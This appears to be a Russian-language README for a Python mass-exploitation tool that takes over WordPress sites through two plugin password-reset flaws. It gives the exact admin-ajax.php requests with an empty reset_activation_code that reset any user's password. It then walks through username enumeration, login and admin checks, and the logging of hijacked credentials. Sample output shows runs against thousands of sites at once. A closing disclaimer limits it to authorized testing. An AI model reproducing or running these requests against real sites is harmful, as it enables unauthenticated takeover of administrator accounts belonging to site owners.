
Неаутентифицированный захват учетной записи через слабую проверку сброса пароля с параметром 'reset_user_id' | Неаутентифицированное повышение привилегий через слабую проверку сброса пароля с параметром 'reset_activation_code', ведущее к захвату учетной записи
Неаутентифицированный захват учётной записи через слабую проверку сброса пароля с помощью параметра 'reset_user_id' | Неаутентифицированное повышение привилегий через слабую проверку сброса пароля с помощью 'reset_activation_code', ведущее к захвату учётной записи
Автор: Khaled Alenazi (Nxploited)
Неаутентифицированное повышение привилегий через слабую проверку сброса пароля
| Поле | Значение |
|---|
| CVSS | 9.8 Критический |
| Вектор | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Опубликовано | 23 июня 2026 |
| Исследователь | Alyudin Nafiie |
Функция pravel_change_password() зарегистрирована как обработчик wp_ajax_nopriv — доступна без аутентификации. Она не выполняет проверку nonce и не проверяет права доступа. Единственной защитой является нестрогое сравнение на равенство между предоставленным атакующим reset_activation_code и значением мета-поля пользователя forgot_email. Для любого пользователя, который никогда не инициировал сброс пароля, get_user_meta() возвращает пустую строку, что тривиально удовлетворяет условию '' == '' при отсутствующем или пустом коде. Таким образом, неаутентифицированный атакующий может отправить поддельный POST-запрос на admin-ajax.php с параметрами action=pravel_change_password, reset_user_id, установленным на любой ID пользователя (включая учётные записи администраторов), и new_password_custom, установленным на произвольный пароль — что приводит к полному захвату учётной записи.
Неаутентифицированный захват учётной записи через слабую проверку сброса пароля
| Поле | Значение |
|---|---|
| CVSS | 9.8 Критический |
| Вектор | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Опубликовано | 23 июня 2026 |
| Исследователь | Alyudin Nafiie |
Функция pravel_invoice_change_password() аналогично доступна как nopriv-обработчик AJAX без nonce и без проверки авторизации. Тот же обход '' == '' применим: передача пустого reset_activation_code для администратора, который никогда не использовал процедуру восстановления пароля, позволяет немедленно сбросить пароль. Атакующий управляет целью через reset_user_id и новыми учётными данными через new_password_custom.
Для каждого целевого сайта:
1. AJAX-зонд (быстрый путь — ID 1 и 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<fixed_password>
reset_activation_code= ← пусто — обходит проверку
Ответ при успехе:
{"activation":true,"message":"Password has been changed successfully"}
2. Определение имени пользователя (лениво — выполняется только после подтверждённого сброса)
a. GET /wp-json/wp/v2/users/<id> ← точное имя пользователя для ID сброса
b. "admin" ← всегда пробуется вторым
c. GET /wp-json/wp/v2/users ← массовый список REST API
d. /?author=1..3 redirect ← сканирование архива авторов
3. Проверка входа
POST /wp-login.php
log=<username> pwd=<password>
Проверка на наличие cookie wordpress_logged_in.
4. Подтверждение администратора
GET /wp-admin/users.php
Требуется возможность list_users — только для администраторов.
Любое сообщение об отказе или перенаправление на вход → не администратор, пропуск.
5. При подтверждении администратора
Сохранение в scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Вывод строки результата в терминал.
6. Расширенный обход (если ID 1 и 2 не сработали)
Повтор шагов 1–5 для ID пользователей с 3 по 20.
Терминал:
[1/5000] https://target.com NO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NO
Файл результатов (scan_results/pravel_admin_success.txt):
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
Targets file (one URL per line) [targets.txt]: sites.txt
Threads (concurrent sites) [50]: 100
Требования:
pip install requests rich colorama urllib3
Этот инструмент предназначен только для авторизованных исследований безопасности и тестирования на проникновение.
Использование против систем, которыми вы не владеете или на тестирование которых не имеете явного письменного разрешения, незаконно.
Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.
Все сведения о CVE взяты из общедоступных баз данных уязвимостей.
Автор: Khaled Alenazi (Nxploited)